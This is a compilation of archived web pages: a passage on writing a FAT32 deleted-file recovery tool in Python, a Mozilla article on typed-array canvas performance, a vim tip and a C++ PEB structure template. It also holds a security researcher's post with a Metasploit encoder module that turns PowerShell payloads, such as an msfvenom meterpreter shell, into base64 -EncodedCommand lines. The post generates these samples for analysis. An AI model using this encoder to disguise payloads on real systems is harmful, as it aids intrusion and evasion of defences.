        ord('"'), ord("*"), ord("/"), ord(":"), ord("<"), ord(">"), ord("**?** "), ord("\\"), ord("|"),
        ord("+"), ord(","), ord("**.** "), ord(";"), ord("="), ord("["), ord("]")
        ]
    def validateShortName(name):
        n = len(name)
        for x in range(n):
            c = name[x]
            if (c >= 0 and c <= 31) or (c >= 0x61 and c <= 0x7A) or c in invalid_short_name_chars:
                return False
        return True
     
    # validate short name
    # validate attributes: avoid long file name entries, directories and volumes
    # validate file size
    # validate cluster index
    def validateFileDirectoryEntry(fi, de):
        return validateShortName(de.name) and de.attr **!** = 0xF and (de.attr & 0x18) == 0 and \
                de.file_size **!** = 0 and de.clust_idx >= 2 and de.clust_idx - 2 < fi.data_clusters
     
    class DirEntryData(object):
        pass
     
    def getDirEntryData(b):
        # reads after the first byte
        de = DirEntryData()
        de.name = b.read(10)
        de.attr = b.u8()     
        b.read(8) # skip some fields
        de.high_clust = b.u16()
        b.u32() # skip two fields
        de.clust_idx = (de.high_clust << 16) | b.u16()
        de.file_size = b.u32()
        return de
     
    def findDeletedFiles(fi):
        # scan the data region one cluster at a time using a buffer
        # this is more efficient than using an array of CFFStructs
        dir_entries = fi.data_size // 0x20
        b = fi.obj.ToBuffer(fi.data_offs)
        b.setBufferSize(0xF000)
        for x in range(dir_entries):
            try:
                unaligned = b.getOffset() % 0x20
                if unaligned **!** = 0:
                    b.read(0x20 - unaligned)
                # has it been deleted**?**
                if b.u8() != 0xE5:
                    continue
                # validate fields
                de = getDirEntryData(b)
                if validateFileDirectoryEntry(fi, de) == False:
                    continue
                # we have found a deleted file entry**!**
                name = de.name.decode("ascii", "replace")
                print(name + " - offset: " + hex(b.getOffset() - 0x20))
            except:
                # an exception occurred, debug info
                print("exception at offset: " + hex(b.getOffset() - 0x20))
                raise
     
    obj = proCoreContext().currentScanProvider().getObject()
    fi = setupFATData(obj)
    if fi **!** = None:
        findDeletedFiles(fi)
    
[/code]  
---  
This script is to be run on the fly with Ctrl+Alt+R**.** It’s not complete,
otherwise I would have added a wait box, since like it’s now the script just
blocks the UI for the entire execution**.** We’ll see later how to put
everything together in a meaningful way**.**

The output of the script is the following:

[code]

    ���������� - offset: 0xd6a0160
    ���������� - offset: 0x181c07a0
    ���������� - offset: 0x1d7ee980
    &�&�&�&�&� - offset: 0x1e7dee20
    '�'�'�'�'� - offset: 0x1f3b49a0
    '�'�'�'�'� - offset: 0x1f5979a0
    '�'�'�'�'� - offset: 0x1f9f89a0
    '�'�'�'�'� - offset: 0x1fbdb9a0
    $�$�$�$�$� - offset: 0x1fdcad40
    &�&�&�&�&� - offset: 0x1fdcc520
    '�'�'�'�'� - offset: 0x2020b9a0
    '�'�'�'�'� - offset: 0x205a99a0
    '�'�'�'�'� - offset: 0x20b0fe80
    '�'�'�'�'� - offset: 0x20b0fec0
    '�'�'�'�'� - offset: 0x20e08e80
    '�'�'�'�'� - offset: 0x20e08ec0
    '�'�'�'�'� - offset: 0x21101e80
    '�'�'�'�'� - offset: 0x21101ec0
    '�'�'�'�'� - offset: 0x213fae80
    '�'�'�'�'� - offset: 0x213faec0
     � � � � � - offset: 0x21d81fc0
    #�#�#�#�#� - offset: 0x221b96a0
    '�'�'�'�'� - offset: 0x226279a0
     � � � � � - offset: 0x2298efc0
    '�'�'�'�'� - offset: 0x22e1ee80
    '�'�'�'�'� - offset: 0x22e1eec0
    '�'�'�'�'� - offset: 0x232c69a0
    '�'�'�'�'� - offset: 0x234a99a0
    '�'�'�'�'� - offset: 0x2368c9a0
    '�'�'�'�'� - offset: 0x23a37e80
    '�'�'�'�'� - offset: 0x23a37ec0
    '�'�'�'�'� - offset: 0x23d30e80
    '�'�'�'�'� - offset: 0x23d30ec0
    '�'�'�'�'� - offset: 0x24029e80
    '�'�'�'�'� - offset: 0x24029ec0
    '�'�'�'�'� - offset: 0x24322e80
    '�'�'�'�'� - offset: 0x24322ec0
    '�'�'�'�'� - offset: 0x2461be80
    '�'�'�'�'� - offset: 0x2461bec0
    '�'�'�'�'� - offset: 0x2474d9a0
     � � � � � - offset: 0x24ab4fc0
     � � � � � - offset: 0x24f01fc0
     � � � � � - offset: 0x2534efc0
    ���������O - offset: 0x33b4f2e0
    �������@@@ - offset: 0x345c7200
    OTEPAD EXE - offset: 0x130c009e0
    TOSKRNLEXE - offset: 0x130c00b80
    TPRINT EXE - offset: 0x130c00bc0
    ��S�W����� - offset: 0x1398fddc0
    ��S�V���YY - offset: 0x13af3ad60
    ��M����E�� - offset: 0x13bbec640
    EGEDIT EXE - offset: 0x13ef1f1a0
    
[/code]  
---  
We can see many false positives in the list**.** The results would be cleaner
if we allowed only ascii characters in the name, but this wouldn’t be correct,
because short names do allow values above 127**.** We could make this an extra
option, generally speaking it’s probably better to have some false positives
than missing valid entries**.** Among the false positives we can spot four
real entries**.** What I did on the test disk was to copy many files from the
System32 directory of Windows and then to delete four of them, exactly those
four found by the script**.**

The next step is recovering the content of the deleted files**.** The theory
here is that we retrieve the first cluster of the file from the directory
entry and then use the FAT to retrieve more entries until the file size is
satisfied**.** The cluster indexes in the FAT won’t contain the next cluster
value and will be set to 0**.** We look for adjacent 0 indexes to find free
clusters which may have belonged to the file**.** Another approach would be to
dump the entire file size starting from the first cluster, but that approach
is worse, because it doesn’t tolerate even a little bit of fragmentation in
the FAT**.** Of course, heavy fragmentation drastically reduces the chances of
a successful recovery**.**

However, there’s a gotcha which I wasn’t aware of and it wasn’t mentioned in
my references**.** Let’s take a look at the deleted directory entry of
‘notepad.exe’**.**

<img src='img/Temp2_6758.png' alt='Notepad directory entry' />

In FAT32 the index of the first cluster is obtained by combining the high-word
**deHighClust** with the low-word **deStartCluster** in order to obtain a
32-bit index**.**

The problem is that the high-word has been zeroed**.** The actual value should
be 0×0013. Seems this behavior is common on Microsoft operating systems as
mentioned in this thread on Forensic Focus**.**

This means that only files with a cluster index equal or lower than 0xFFFF
will be correctly pointed at**.** This makes another approach for FAT32 file
recovery more appealing: instead of looking for deleted directly entries, one
could directly look for cluster indexes with a value of 0 in the FAT and
recognize the start of a file by matching signatures**.** Profiler offers an
API to identify file signatures \(although limited to the file formats it
supports\), so we could easily implement this logic**.** Another advantage of
this approach is that it doesn’t require a deleted file directory entry to
work, increasing the possibility to recover deleted files**.** However, even
that approach has certain disadvantages:

  1. Files which have no signature \(like text files\) or are not identified won’t be recovered**.**
  2. The name of the files won’t be recovered at all, unless they contain it themselves, but that’s unlikely**.**

Disadvantages notwithstanding I think that if one had to choose between the
two approaches the second one holds higher chances of success**.** So why then
did I opt to do otherwise? Because I thought it would be nice to recover file
names, even though only partially and delve a bit more in the format of
FAT32**.** The blunt approach could be generalized more and requires less FAT
knowledge**.**

However, the surely best approach is to combine both systems in order to
maximize chances of recovery at the cost of duplicates**.** But this is just a
demonstration, so let’s keep it relatively simple and let’s go back to the
problem at hand: the incomplete start cluster index**.**

Recovering files only from lower parts of the disk isn’t really good
enough**.** We could try to recover the high-word of the index from adjacent
directory entries of existing files**.** For instance, let’s take a look at
the deleted directory entry:

<img src='img/Temp2_6766.png' alt='Deleted entry' />

As you can see, the directory entry above the deleted one represents a valid
file entry and contains an intact high-word we could use to repair our
index**.** Please remember that this technique is just something I came up
with and offers no guarantee whatsoever**.** In fact, it only works under
certain conditions:

  1. The cluster containing the deleted entry must also contain a valid file directory entry**.**
  2. The FAT can’t be heavily fragmented, otherwise the retrieved high-word might not be correct**.**

Still I think it’s interesting and while it might not always be successful in
automatic mode, it can be helpful when trying a manual recovery**.**

This is how the code to recover partial cluster indexes might look like:

[code]

    def recoverClusterHighWord(fi, offs):
        cluster_start = offs - (offs % fi.bytes_per_clust)
        deloffs = offs - (offs % 0x20)
        nbefore = (deloffs - cluster_start) // 0x20
        nafter = (fi.bytes_per_clust - (deloffs - cluster_start)) // 0x20 - 1
        b = fi.obj.ToBuffer(deloffs + 0x20, Bufferize_BackAndForth)
        b.setBufferSize(fi.bytes_per_clust * 2)
        de_before = None
        de_after = None
        try:
            # try to find a valid entry before
            if nbefore > 0:
                for x in range(nbefore):
                    b.setOffset(b.getOffset() - 0x40)
                    # it can't be a deleted entry
                    if b.u8() == 0xE5:
                        continue
                    de = getDirEntryData(b)
                    if validateFileDirectoryEntry(fi, de):
                        de_before = de
                        break
            # try to find a valid entry after
            if nafter > 0 and de_before == None:
                b.setOffset(deloffs + 0x20)
                for x in range(nafter):
                    # it can't be a deleted entry
                    if b.u8() == 0xE5:
                        continue
                    de = getDirEntryData(b)
                    if validateFileDirectoryEntry(fi, de):
                        de_after = de
                        break
        except:
            pass
        # return the high-word if any
        if de_before **!** = None:
            return de_before.high_clust
        if de_after **!** = None:
            return de_after.high_clust
        return 0
    
[/code]  
---  
It tries to find a valid file directory entry before and after the deleted
entry, remaining in the same cluster**.** Now we can write a small function to
recover the file content**.**

[code]

    # dump the content of a deleted file using the FAT
    def dumpDeletedFileContent(fi, f, start_cluster, file_size):
        while file_size > 0:
            offs = clusterToOffset(fi, start_cluster)
            data = fi.obj.Read(offs, fi.bytes_per_clust)
            if file_size < fi.bytes_per_clust:
                data = data[:file_size]
            f.write(data)
            # next
            file_size = file_size - min(file_size, fi.bytes_per_clust)
            # find next cluster
            while True:
                start_cluster = start_cluster + 1
                idx_offs = start_cluster * 4 + fi.fat_offs
                idx, ok = fi.obj.ReadUInt32(idx_offs)
                if ok == False:
                    return False
                if idx == 0:
                    break
        return True
    
[/code]  
---  
All the pieces are there, it’s time to bring them together**.**

## Create a recovery tool****

With the recently introduced logic provider extensions , it’s possible to
create every kind of easy-to-use custom utility**.** Until now we have seen
useful pieces of code, but using them as provided is neither user-friendly nor
practical**.** Wrapping them up in a nice graphical utility is much
better**.**

<img src='img/Temp2_6769.png' alt='Home view' />

What follows is the source code or at least part of it: I have omitted those
parts which haven’t significantly changed**.** You can download the full
source code from here **.**

Here’s the cfg entry:

[code]

    [FAT32Recovery]
    label = FAT32 file recovery utility
    descr = Recover files from a FAT32 partition or drive**.**
    file = fat32_recovery**.** py
    init = FAT32Recovery_init
    
[/code]  
---  
And the Python code:

[code]

    class RecoverySystem(LocalSystem):
     
        def __init__(self):
            LocalSystem**.** __init__(self)
            self.ctx = proCoreContext()
            self.partition = None
            self.current_partition = 0
            self**.** fi = None
            self.counter = 0
     
        def wasAborted(self):
            Pro**.** UI.proProcessEvents(1)
            return self.ctx.wasAborted()
     
        def nextFile(self):
            fts = FileToScan()
     
            if self.partition == None:
                # get next partition
                while self.current_partition < 4:
                    entryoffs = 0x1BE + (self.current_partition * 0x10)
                    self.current_partition = self.current_partition + 1
                    offs, ret = self.disk.ReadUInt32(entryoffs + 8)
                    size, ret = self.disk.ReadUInt32(entryoffs + 12)
                    if offs **!** = 0 and size != 0:
                        cpartition = self.disk.GetStream()
                        cpartition.setRange(offs * 512, size * 512)
                        part = CFFObject()
                        part.Load(cpartition)
                        self**.** fi = setupFATData(part)
                        if self**.** fi != None:
                            self.fi.system = self
                            self.partition = part
                            self.next_entry = self**.** fi.data_offs
                            self.fi.ascii_names_conv = self.ascii_names_conv
                            self**.** fi.repair_start_clusters = self.repair_start_clusters
                            self**.** fi.max_file_size = self.max_file_size
                            break
     
            if self.partition **!** = None:
                de = findDeletedFiles(self.fi, self.next_entry)
                if de **!** = None:
                    self.next_entry = de.offs + 0x20
                    fname = "%08X" % self.counter
                    f = open(self.dump_path + fname, "wb")
                    if f == None:
                        ctx.msgBox(MsgErr, "Couldn't open file '" + fname + "'")
                        return fts
                    dumpDeletedFileContent(self**.** fi, f, de.clust_idx, de.file_size)
                    f.close()
                    self.counter = self.counter + 1
                    fts.setName(fname + "\\" + de.name)
                    fts.setLocalName(self.dump_path + fname)
                else:
                    self.partition = None
     
            return fts
     
    def recoveryOptionsCallback(pe, id, ud):
        if id == Pro**.** UI.ProPropertyEditor.Notification_Close:
            path = pe.getValue(0)
            if len(path) == 0 or os.path.isdir(path) == False:
                errs = NTIntList()
                errs.append(0)
                pe.setErrors(errs)
                return False
        return True
     
    def FAT32Recovery_init():
        ctx = Pro**.** UI.proContext()
        file_name = ctx.getOpenFileName("Select disk..**.** ")
        if len(file_name) == 0:
            return False
     
        cdisk = createContainerFromFile(file_name)
        if cdisk.isNull():
            ctx.msgBox(MsgWarn, "Couldn't open disk**!** ")
            return False
     
        disk = CFFObject()
        disk.Load(cdisk)
        bsign = disk.Read(0x1FE, 2)
        if len(bsign) **!** = 2 or bsign[0] != 0x55 or bsign[1] != 0xAA:
            ctx.msgBox(MsgWarn, "Invalid MBR**!** ")
            return False
     
        dlgxml = """
    <peditor title="Settings">
      <section label="Options">
        <property id="0" label="Select directory for dumps" type="open-directory"/>
        <property id="1" label="Ascii only names" type="check" value="false"/>
        <property id="2" label="Start cluster repair" type="check" value="true"/>
        <property id="3" label="Max file size (in MBs)" type="integer" value="100" signed="false"/>
      </section>
    </peditor>"""
        opts = ctx.askParams(dlgxml, "FAT32RecoveryOptions", recoveryOptionsCallback, None)
        if opts.isEmpty():
            return False
     
        s = RecoverySystem()
        s.disk = disk
        s.dump_path = os.path.normpath(opts.value(0)) + os.sep
        s.ascii_names_conv = "strict" if opts.value(1) else "replace"
        s.repair_start_clusters = opts.value(2)
        if opts.value(3) **!** = 0:
            s.max_file_size = opts.value(3) * 1024 * 1024
        proCoreContext().setSystem(s)
        return True
    
[/code]  
---  
When the tool is activated it will ask for the disk file to be selected, then
it will show an options dialog**.**

<img src='img/Temp2_6764.png' alt='Options' />

In our case we can select the option ‘Ascii only names’ to exclude false
positives**.**

The options dialog asks for a directory to save the recovered files**.** In
the future it will be possible to save volatile files in the temporary
directory created for the report, but since it’s not yet possible, it’s the
responsibility of the user to delete the recovered files if he wants to**.**

The end results of the recovery operation:

<img src='img/Temp2_6763.png' alt='Results' />

All four deleted files have been successfully recovered**.**

Three executables are marked as risky because intrinsic risk is enabled and
only ‘ntoskrnl.exe’ contains a valid digital certificate**.**

## Conclusions****

I’d like to remind you that this utility hasn’t been tested on disks other
than on the one I’ve created for the post and, as already mentioned, it
doesn’t even implement the best method to recover files from a FAT32, which is
to use a signature based approach**.** It’s possible that in the future we’ll
improve the script and include it in an update**.**

The purpose of this post was to show some of the many things which can be done
with Profiler**.** I used only Profiler for the entire job: from analysis to
code development \(I even wrote the entire Python code with it\)**.** And
finally **to demonstrate how a utility with commercial value like the one
presented could be written in under 300 lines of Python code \(counting
comments and new-lines\)****.**

The advantages of using the Profiler SDK are many**.** Among them:

  * It hugely simplifies the analysis of files**.** In fact, I used only two external Python functions: one to check the existence of a directory and one to normalize the path string**.**
  * It helps building a fast robust product**.**
  * It offers a graphical analysis experience to the user with none or little effort**.**
  * It gives the user the benefit of all the other features and extension offered by Profiler**.**

To better explain what is meant by the last point, let’s take the current
example**.** Thanks to the huge amount of formats supported by Profiler, it
will be easy for the user to validate the recovered files**.**

<img src='img/Temp2_6759.png' alt='Validate recovered files' />

In the case of Portable Executables it’s extremely easy because of the
presence of digital certificates, checksums and data structures**.** But even
with other files it’s easy, because Profiler may detect errors in the format
or unused ranges**.**

I hope you enjoyed this post\!

P.S**.** You can download the complete source code and related files from here
**.**

****

# Faster Canvas Pixel Manipulation with Typed Arrays ✩ Mozilla Hacks – the Web
developer blog

**Created:**| _12/6/2011 9:57:45 AM_  
---|---  
**Updated:**| _12/6/2011 9:57:45 AM_  
**Author:**| __  
**Tags:**| _html5_  
  

# Faster Canvas Pixel Manipulation with Typed Arrays

  * Older Article
  * Newer Article

on December 1, 2011 by Paul Rouget

in JavaScript Performance

  * 16 comments

Edit: See the section about  Endiannes.

**Typed Arrays can significantly increase the pixel manipulation performance
of your HTML5 2D canvas Web apps. This is of particular importance to
developers looking to use HTML5 for making browser-based games.**

This is a guest post by Andrew J. Baker. Andrew is a professional software
engineer currently working for Ibuildings UK where his time is divided equally
between front- and back-end enterprise Web development. He is a principal
member of the browser-based games channel \#bbg on Freenode, spoke at the
first HTML5 games conference in September 2011, and is a scout for Mozilla’s
WebFWD innovation accelerator.

* * *
Eschewing the higher-level methods available for drawing images and primitives
to a canvas, we’re going to get down and dirty, manipulating pixels using
ImageData.

## Conventional 8-bit Pixel Manipulation

The following example demonstrates pixel manipulation using image data to
generate a greyscale moire pattern on the canvas.

Let’s break it down.

First, we obtain a reference to the canvas element that has an id attribute of
_canvas_ from the DOM.

[code]

    var canvas = document.getElementById('canvas');
[/code]

The next two lines might appear to be a micro-optimisation and in truth they
are. But given the number of times the canvas width and height is accessed
within the main loop, copying the values of `canvas.width` and `canvas.height`
to the variables `canvasWidth` and `canvasHeight` respectively, can have a
noticeable effect on performance.

[code]

    var canvasWidth  = canvas.width;
    var canvasHeight = canvas.height;
[/code]

We now need to get a reference to the 2D context of the canvas.

[code]

    var ctx = canvas.getContext('2d');
[/code]

Armed with a reference to the 2D context of the canvas, we can now obtain a
reference to the canvas’ image data. Note that here we get the image data for
the entire canvas, though this isn’t always necessary.

[code]

    var imageData = ctx.getImageData(0, 0, canvasWidth, canvasHeight);
[/code]

Again, another seemingly innocuous micro-optimisation to get a reference to
the raw pixel data that can also have a noticeable effect on performance.

[code]

    var data = imageData.data;
[/code]

Now comes the main body of code. There are two loops, one nested inside the
other. The outer loop iterates over the y axis and the inner loop iterates
over the x axis.

[code]

    for (var y = 0; y < canvasHeight; ++y) {
        for (var x = 0; x < canvasWidth; ++x) {
[/code]

We draw pixels to image data in a top-to-bottom, left-to-right sequence.
Remember, the y axis is inverted, so the origin \(0,0\) refers to the top,
left-hand corner of the canvas.

The _ImageData.data_ property referenced by the variable _data_ is a one-
dimensional array of integers, where each element is in the range 0..255.
_ImageData.data_ is arranged in a repeating sequence so that each element
refers to an individual channel. That repeating sequence is as follows:

[code]

    data[0]  = red channel of first pixel on first row
    data[1]  = green channel of first pixel on first row
    data[2]  = blue channel of first pixel on first row
    data[3]  = alpha channel of first pixel on first row
     
    data[4]  = red channel of second pixel on first row
    data[5]  = green channel of second pixel on first row
    data[6]  = blue channel of second pixel on first row
    data[7]  = alpha channel of second pixel on first row
     
    data[8]  = red channel of third pixel on first row
    data[9]  = green channel of third pixel on first row
    data[10] = blue channel of third pixel on first row
    data[11] = alpha channel of third pixel on first row
     
     
    ...
[/code]

Before we can plot a pixel, we must translate the x and y coordinates into an
index representing the offset of the first channel within the one-dimensional
array.

[code]

            var index = (y * canvasWidth + x) * 4;
[/code]

We multiply the y coordinate by the width of the canvas, add the x coordinate,
then multiply by four. We must multiply by four because there are four
elements per pixel, one for each channel.

Now we calculate the colour of the pixel.

To generate the moire pattern, we multiply the x coordinate by the y
coordinate then bitwise AND the result with hexadecimal 0xff \(decimal 255\)
to ensure that the value is in the range 0..255.

[code]

            var value = x * y & 0xff;
[/code]

Greyscale colours have red, green and blue channels with identical values. So
we assign the same value to each of the red, green and blue channels. The
sequence of the one-dimensional array requires us to assign a value for the
red channel at index, the green channel at index + 1, and the blue channel at
index + 2.

[code]

            data[index]   = value;	// red
            data[++index] = value;	// green
            data[++index] = value;	// blue
[/code]

Here we’re incrementing index, as we recalculate it with each iteration, at
the start of the inner loop.

The last channel we need to take into account is the alpha channel at index +
3. To ensure that the plotted pixel is 100% opaque, we set the alpha channel
to a value of 255 and terminate both loops.

[code]

            data[++index] = 255;	// alpha
        }
    }
[/code]

For the altered image data to appear in the canvas, we must put the image data
at the origin \(0,0\).

[code]

    ctx.putImageData(imageData, 0, 0);
[/code]

Note that because _data_ is a reference to _imageData.data_ , we don’t need to
explicitly reassign it.

## The ImageData Object

At time of writing this article, the HTML5 specification is still in a state
of flux.

Earlier revisions of the HTML5 specification declared the ImageData object
like this:

[code]

    interface ImageData {
        readonly attribute unsigned long width;
        readonly attribute unsigned long height;
        readonly attribute CanvasPixelArray data;
    }
[/code]

With the introduction of typed arrays, the type of the data attribute has
altered from CanvasPixelArray to Uint8ClampedArray and now looks like this:

[code]

    interface ImageData {
        readonly attribute unsigned long width;
        readonly attribute unsigned long height;
        readonly attribute Uint8ClampedArray data;
    }
[/code]

At first glance, this doesn’t appear to offer us any great improvement, aside
from using a type that is also used elsewhere within the HTML5 specification.

But, we’re now going to show you how you can leverage the increased
flexibility introduced by deprecating CanvasPixelArray in favour of
Uint8ClampedArray.

Previously, we were forced to write colour values to the image data one-
dimensional array a single channel at a time.

Taking advantage of typed arrays and the ArrayBuffer and ArrayBufferView
objects, we can write colour values to the image data array an entire pixel at
a time\!

## Faster 32-bit Pixel Manipulation

Here’s an example that replicates the functionality of the previous example,
but uses unsigned 32-bit writes instead.

NOTE: If your browser doesn’t use Uint8ClampedArray as the type of the data
property of the ImageData object, this example won’t work\!

The first deviation from the original example begins with the instantiation of
an ArrayBuffer called _buf_.

[code]

    var buf = new ArrayBuffer(imageData.data.length);
[/code]

This ArrayBuffer will be used to temporarily hold the contents of the image
data.

Next we create two ArrayBuffer views. One that allows us to view _buf_ as a
one-dimensional array of unsigned 8-bit values and another that allows us to
view _buf_ as a one-dimensional array of unsigned 32-bit values.

[code]

    var buf8 = new Uint8ClampedArray(buf);
    var data = new Uint32Array(buf);
[/code]

Don’t be misled by the term ‘view’. Both _buf8_ and _data_ can be read from
**and** written to. More information about ArrayBufferView is available on
MDN.

The next alteration is to the body of the inner loop. We no longer need to
calculate the index in a local variable so we jump straight into calculating
the value used to populate the red, green, and blue channels as we did before.

Once calculated, we can proceed to plot the pixel using only one assignment.
The values of the red, green, and blue channels, along with the alpha channel
are packed into a single integer using bitwise left-shifts and bitwise ORs.

[code]

            data[y * canvasWidth + x] =
                (255   << 24) |	// alpha
                (value << 16) |	// blue
                (value <<  8) |	// green
                 value;		// red
        }
    }
[/code]

Because we’re dealing with unsigned 32-bit values now, there’s no need to
multiply the offset by four.

Having terminated both loops, we must now assign the contents of the
ArrayBuffer _buf_ to _imageData.data_. We use the Uint8ClampedArray.set\(\)
method to set the _data_ property to the Uint8ClampedArray view of our
ArrayBuffer by specifying _buf8_ as the parameter.

[code]

    imageData.data.set(buf8);
[/code]

Finally, we use putImageData\(\) to copy the image data back to the canvas.

## Testing Performance

We’ve told you that using typed arrays for pixel manipulation is faster. We
really should test it though, and that’s what this jsperf test does.

At time of writing, 32-bit pixel manipulation is indeed faster.

## Wrapping Up

There won’t always be occasions where you need to resort to manipulating
canvas at the pixel level, but when you do, be sure to check out typed arrays
for a potential performance increase.

## EDIT: Endianness

As has quite rightly been highlighted in the comments, the code originally
presented does not correctly account for the endianness of the processor on
which the JavaScript is being executed.

The code below, however, rectifies this oversight by testing the endianness of
the target processor and then executing a different version of the main loop
dependent on whether the processor is big- or little-endian.

A corresponding jsperf test for this amended code has also been written and
shows near-identical results to the original jsperf test. Therefore, our final
conclusion remains the same.

Many thanks to all commenters and testers.

  *[December 1, 2011]: 2011-12-01T12:52:46+00:00

# Quickpost: Metasploit PowerShell BASE64 Commands

**Created:**| _9/4/2017 9:19:14 AM_  
---|---  
**Updated:**| _9/4/2017 9:19:14 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  Quickpost: Metasploit PowerShell BASE64 Commands

Filed under: Hacking,Quickpost — Didier Stevens @ 21:29  

I wanted to generate some BASE64 encoded PowerShell commands \(i.e. with
option -EncodedCommand\) for analysis with my tool base64dump.py, thus I
turned to Metasploit to generate these commands.

Here is the list of encoders:

<img src='img/20170826-124404.png' width='1004' height='651' />

It looks like cmd/powershell\_base64 is what I’m looking for.

I couldn’t get the results that I wanted with this encoder, so I took a look
at the source code:

<img src='img/20170826-124438.png' width='688' height='498' />

This encoder will actually encode commands you pass to cmd.exe, and not
PowerShell scripts.

I wanted an encoder for PowerShell scripts, like this simple PowerShell script
to display a message box:

12| `Add-Type` `-AssemblyName`
`PresentationFramework``[System.Windows.MessageBox]``::Show(``'Hello from
PowerShell!'``)`  
---|---  
Or even simpler:

1| `Write-Host` `"Hello from PowerShell!"`  
---|---  
And at this point, I really got sidetracked…

I coded my own encoder \(based on the powershell\_base64 encoder\):

123456789101112131415161718192021222324252627282930313233343536373839404142|
`##``# This module requires Metasploit: https://metasploit.com/download``#
Current source: https://github.com/rapid7/metasploit-framework``##` `class`
`MetasploitModule < Msf::Encoder`` ``Rank = NormalRanking` ` ``def`
`initialize`` ``super``(`` ``'Name'` `=> ``'Powershell Base64 Script
Encoder'``,`` ``'Description'` `=> %q{`` ``This encodes a PowerShell script as
a base64 encoded script ``for` `PowerShell.`` ``},`` ``'Author'` `=> ``'Didier
Stevens'``,`` ``'Arch'` `=> ``ARCH_CMD``,`` ``'Platform'` `=> ``'win'``)` `
``register_options([`` ``OptBool.``new``(``'NOEXIT'``, [ ``false``, ``'Add
-noexit option'``, ``false` `]),`` ``OptBool.``new``(``'SYSWOW64'``, [
``false``, ``'Call syswow64 powershell'``, ``false` `])`` ``])` ` ``end` `
``#`` ``# Encodes the payload`` ``#`` ``def` `encode_block(state, buf)``
``base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))`` ``cmd = ``''``
``if` `datastore[``'SYSWOW64'``]`` ``cmd +=
``'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '`` ``else``
``cmd += ``'powershell.exe '`` ``end`` ``if` `datastore[``'NOEXIT'``]`` ``cmd
+= ``'-NoExit '`` ``end`` ``cmd += ``"-EncodedCommand #{base64}"`` ``end``end`  
---|---  
To install my encoder, I created folder _powershell_ inside folder
_C:\metasploit\apps\pro\vendor\bundle\ruby\2.3.0\gems\metasploit-
framework-4.15.4\modules\encoders_ \(that’s on Windows\) and copied my encoder
base64.rb into it.

That’s all that is needed to make it available:

<img src='img/20170826-125153.png' width='1007' height='664' />

And now I can just use it with msfvenom, for example:

<img src='img/20170826-122914.png' width='1010' height='595' />

–payload – indicates that the payload has to be taken from stdin.

What I have no explanation for, is why on Windows input redirection does not
work while piping works:

<img src='img/20170826-225357.png' width='1013' height='331' />

Echo works too:

<img src='img/20170826-220000.png' width='1006' height='264' />

With this encoder, I can encode a PowerShell script generated with msfvenom,
like this:

<img src='img/20170826-231757.png' width='1009' height='271' />

The first msfvenom command will generate a powershell script with 32-bit
shellcode for a meterpreter shell. The second msfvenom command will encode
this command into a BASE64 PowerShell command. Option NOEXIT adds -NoExit to
the PowerShell command, and option SYSWOW64 uses 32-bit powershell.exe on
64-bit Windows.

As the generated code was too long for the command line, I had to use option
–smallest with the first msfvenom command to reduce the size of the script.

Here is the generated command:

<img src='img/20170826-231351.png' width='1009' height='597' />

And here is the execution:

<img src='img/20170826-232029.png' width='1005' height='710' />

More info:

<img src='img/20170827-002103.png' width='1003' height='726' />

* * *
Quickpost info

* * *
 Like

  * <img src='img/8654_012e1e517344862ff0a9c3fba5aadd74.jpg' width='30' height='30' alt='needull' />

One blogger likes this.

### _Related_

Generating PowerShell Scripts With MSFVenom On WindowsIn "Hacking"

Detecting Network Traffic from Metasploit's Meterpreter Reverse HTTP ModuleIn
"Networking"

Quickpost: Maldocs: VBA And PastebinIn "Malware"

Leave a Comment

  

# \[shell-fu:view-840\]$

**Created:**| _6/18/2009 10:41:09 PM_  
---|---  
**Updated:**| _6/18/2009 10:41:18 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu vim_  
  

Tip \#840 /

# Making vim oneliners

  
Tags: vim

Save this to del.icio.usDigg this\!Reddit this\!Tweet this\!

We can use vim to make changes to a file all in one command, for example  
  

[code]

    vim -c "5,10s/a/b/g | wq" filename
    
[/code]

  
This will open the file 'filename' and replace all occurances of 'a' with 'b' on lines 5-10. The file will then be written and closed. To edit the file after the change, just remove the ' | wq' from the end of the command. 

# PEB32 and PEB64 in one definition

**Created:**| _1/9/2012 3:06:19 PM_  
---|---  
**Updated:**| _1/9/2012 3:06:19 PM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

## PEB32 and PEB64 in one definition

January 7, 2012 / ReWolf posted in programming, source code, x64 / No Comments

Recently I was writing small piece of code that uses both versions of **PEB**
structure \(**x86** and **x64**\). Being tired of having two separate
definitions I decided to look into the **Windows Research Kernel** \(**WRK**\)
sources and check how **Microsoft** is handling this structure. Original
definition is in “pebteb.h” file and it is pretty smart, everything is defined
through a series of macros and then included in a very “specific” way:

C++

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

    #define PEBTEB_BITS 32
    #include "pebteb.h"
    #undef PEBTEB_BITS
     
    #define PEBTEB_BITS 64
    #include "pebteb.h"
    #undef PEBTEB_BITS
[/code]  
---|---  
I’ve decided to do it in a similar fashion, but I’d rather use templates
instead of macros. All code is wrapped in **\#pragma pack\(1\)** to avoid any
problems with structure alignment on different architectures:

C++

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    
[/code]

|

[code]

    #pragma pack (1)
    template <class T>
    struct LIST_ENTRY_T
    {
        T Flink;
        T Blink;
    };
     
    template <class T>
    struct UNICODE_STRING_T
    {
        union
        {
            struct
            {
                WORD Length;
                WORD MaximumLength;
            };
            T dummy;
        };
        T _Buffer;
    };
     
    template <class T, class NGF, int A>
    struct _PEB_T
    {
        union
        {
            struct
            {
                BYTE InheritedAddressSpace;
                BYTE ReadImageFileExecOptions;
                BYTE BeingDebugged;
                BYTE BitField;
            };
            T dummy01;
        };
